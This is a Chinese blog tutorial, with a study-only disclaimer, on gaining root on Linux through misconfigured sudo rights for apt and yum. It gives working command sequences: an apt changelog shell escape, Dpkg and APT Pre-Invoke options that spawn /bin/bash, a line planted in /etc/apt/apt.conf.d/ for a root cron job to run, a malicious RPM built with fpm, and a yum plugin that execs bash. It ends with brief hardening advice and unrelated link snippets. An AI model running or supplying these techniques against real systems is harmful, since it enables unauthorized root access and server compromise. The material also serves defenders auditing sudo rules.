通过Linux包管理器提升权限
免责声明:本文所涉及的技术仅供学习和参考,严禁使用本文内容从事违法行为和未授权行为,如因个人原因造成不良后果,均由使用者本人负责,作者及本博客不承担任何责任。
前言
在Linux系统中,apt和yum是两种常见的包管理工具,分别用于Debian/Ubuntu和CentOS/RHEL等发行版,如果配置不当极有可能导致linux提权问题,进而导致服务器受到安全威胁。
apt包管理器
通过changelog日志提权
当普通用户允许通过特权模式执行apt命令的时候,可通过changelog日志进行提权。
sudo apt changelog apt
该命令是一个用于查看 apt 软件包更新日志的命令。changelog 是软件包的一部分,记录了该软件包每次更新时的变更内容,包括新功能、修复的漏洞、改进等。
执行该命令,会进入到一个软件包变更内容的日志当中:

在此界面输入!/bin/bash可直接进入对应权限的bash环境当中:


通过安装软件包执行命令提权
当普通用户允许通过特权模式执行apt命令的时候,可通过修改apt配置选项在安装软件包时执行命令。
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/bash;false"}' > $TF
sudo apt install -c $TF vim
Dpkg::Pre-Invoke是apt的一个配置选项,用于在安装软件包之前执行指定的命令,将配置信息写入到$TF中,这里执行/bin/bash获取一个新的bash环境。
vim是一个软件包,通过安装vim(可以是任意软件包)同时指定临时文件$TF作为配置文件。

可以看到安装完成软件后自动进入到了root的bash环境当中。
通过update更新包提权
当普通用户允许通过特权模式执行apt命令的时候,可通过apt配置选项尝试在更新软件包之前执行命令进行提权。
sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash
APT::Update::Pre-Invoke是更新操作之前执行指定的命令,通过该命令可在apt包更新之前执行/bin/bash命令从而进行提权。

通过crontab定时任务提权
当crontab以特权用户定期执行apt update时,这通常是在有定时更新软件包需求的服务器上,可通过预调用脚本执行命令提权。
该服务器每一分钟执行一次apt update。

创建一个预调用脚本文件:
#!/bin/bash
APT::Update::Pre-Invoke {"echo `id` > /tmp/result.txt"}
这里只使用执行id命令作为演示。
/etc/apt/apt.conf.d/ 是Linux系统中apt的配置文件目录,如果该文件夹存在可编辑的配置文件,可以将上述预调用脚本文件的恶意代码写入其中。
查看该目录:

脚本的名称开头需要2位数字,且根据数字的大小从小到大依次执行,所以应该将脚本数字命名得尽可能小或修改数字尽可能小的文件。这里00periodic是最小的且可编辑,将恶意代码写入到脚本。
等待1分钟后可以看到已经执行了脚本的命令:

yum包管理器
通过特制的 RPM 包提权
当普通用户允许通过特权模式执行yum命令的时候,可通过制作带有恶意代码的rpm包执行命令提权。
TF=$(mktemp -d)
echo 'id' > $TF/shell.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/shell.sh $TF
创建一个唯一的临时目录,并将该目录的路径赋值给变量 TF,临时目录中创建一个名为 shell.sh 的文件,将命令id写入shell.sh,生成rpm包并使用--before-install在安装之前执行$TF/shell.sh。

sudo yum localinstall -y x-1.0-1.noarch.rpm


成功执行了id命令,显示是root。
通过自定义插件提权
当普通用户允许通过特权模式执行yum命令的时候,可通过自定义插件生成shell提权。
TF=$(mktemp -d)
cat >$TF/x <<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf <<EOF
[main]
enabled=1
EOF
cat >$TF/y.py <<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/bash','/bin/bash')
EOF
通过自定义的 yum 插件脚本,使插件在初始化的时候执行os.execl('/bin/bash','/bin/bash')获取对应的bash环境。
sudo yum -c $TF/x --enableplugin=y
执行命令获取权限。
总结
配置不当的包管理器可通过拼接命令和制作特定文件的方式执行命令进行提权,想要防止此类事件的发生,配置合理的命令权限和限制 apt 预调用脚本的权限非常重要。
通过Linux包管理器提升权限的更多相关文章
- Linux包管理器
按Linux系统分类 Redhat系列:Redhat(本身就是Centos).Centos.Fedora等,采用Dpkg包管理器 Debian系列:Debian.Ubuntu等,使用RPM包管理器 R ...
- Linux 包管理器
RPM: rpm(Red-Hat Package Manager) 为 Redhat 提出的包管理器, 用于在 Redhat 及其衍生版本中安装 rpm 格式的软件包 rpm 的优点: 1.简化了源码 ...
- linux 各种发行版及包管理器的关系
linux 各种发行版及包管理器的关系 Linux发行版列表 基于Kpkg(Debian 系) Debian GNU / Linux 及其派生发行版使用deb软件包格式,并使用dpkg及其前端作为包管 ...
- Linux新手的最佳包管理器
一个 Linux 新用户应该知道他或她的进步源自于对 Linux 发行版的使用,而 Linux 发行版有好几种,并以不同的方式管理软件包. 在 Linux开发 中,包管理器非常重要,知道如何使用多种包 ...
- 把玩Alpine linux(二):APK包管理器
导读 Alpine Linux非常精简,开机内存占用也在二三十兆大,没有拆箱即用,就需要我们自己去做一些了解和配置 Alpine Linux的优劣 优势 Alpine Linux的Docker镜像特点 ...
- Arch Linux 独特的包管理器相关名词解释及用法对照
https://wiki.archlinux.org/index.php/PacmanPacman包管理器是Arch Linux的主要特色之一.它结合了简单的二进制包格式和易于使用的构建系统.pacm ...
- 在linux中使用包管理器安装node.js
网上文章中,在linux下安装node.js都是使用源码编译,其实node的github上已经提供了各个系统下使用各自的包管理器(package manager)安装node.js的方法. 1. 在U ...
- Linux系统-----包管理器的演变
每个电脑设备都使用某种形式的软件来执行其预定任务.在软件开发的早期,对产品进行了严格的bug和其他缺陷测试.在过去的十多年里,软件通过互联网发布,目的是通过应用新版本的软件来修复任何错误.在某些情况下 ...
- 【转】npm包管理器那些事
原文链接:http://www.cnblogs.com/shuoer/p/7782125.html npm包管理器那些事! 今天和朋友针对npm包全局安装和本地项目安装这个梗展开的激烈的讨论,故此做一 ...
- rpm 包管理器
rpm 包管理器 二进制应用程序的组成部分: 二进制文件.库文件.配置文件.帮助文件 程序包管理器:不同厂商的程序,包管理器也不同. debian:deb文件, dpkg包管理器 redhat: rp ...
随机推荐
- 再次使用layui遇见问题
Layui似乎只接收data里的数据,所以只能使用这个方式把原有数据放入dataparseData: function (res) { //res 即为原始返回的数据 return { "c ...
- 拒绝繁忙!免费使用 deepseek-r1:671B 参数满血模型
相信大家都已经有体验过deepseek-r1的强大推理能力,由于其网页版本免费使用的原因,用户量激增.同时据传还遭受了大量的网络攻击,这使得过程不是很流程,经常收到类似下图的问题: 同时,API服务也 ...
- Clickhouse、Mysql、Presto数据库解析Json数据
一.Clickhouse解析Json 1.visitParamExtractBool(json,name) → 提取json中的name字段,返回UInt8,0或1 例:visitParamExt ...
- 修改本机host文件后,浏览器访问还是旧的网址
一.修改本机host文件后也会遇到修改hosts不生效的情况,而且有时生效,有时不生效情况 1.DNS缓存机制 一条域名的DNS记录会在本地有两种缓存,浏览器缓存和操作系统(OS)缓存.在浏览器中访问 ...
- 管理虚拟机(libvirt)
给我的理解就是与用户交互的"显示器" [root@kvm1 ~]# systemctl status libvirtd [root@kvm1 ~]# virsh virsh # l ...
- 正则表达式匹配邮箱,IP地址,URL
参考链接: http://urlregex.com/ 1. 邮箱匹配正则表达式 C# ^(?(")(".+?(?<!\\)"@)|(([0-9a-z]((\.(?! ...
- ingsollrang英格索兰IC直流电动拧紧控制器维修
随着智能装配的概念逐渐在行业内推广,质量管理已成为实现智能装配过程中的一个重要环节,许多客户都有着数据记录.扭矩检测的需求,英格索兰的多种拧紧工具配合控制器,可以满足从基本拧紧到质量管理的一系列需求, ...
- 【Unity】热更新原理与Xlua配置
[Unity]热更新原理与 Xlua 配置 热更新 直接理解即是让代码可以像资源包一样被运行时更新.当然它其实还一个名称叫热修复,即实现不重新打包项目也能把 Bug 修好,这也正是它常用的地方. 原理 ...
- CF1693F题解
备注 发表时间:2023-06-17 21:51 前言 yny 学长来 cdqz 讲课,写一篇讲课的题的题解纪念一下. 题意 给你一个 01 序列,有以下操作: 选择一段区间 设 \(cnt_0,cn ...
- dx12学习之旅-
记录一下,第一篇博客2024年7月26日下午. 计划在毕业后从事游戏开发的工作,现在在学习龙书dx12,平时会写一些对龙书内容上的一些理解.在读完全书之后,会考虑进行一次龙书相关的总结,不过这应该要很 ...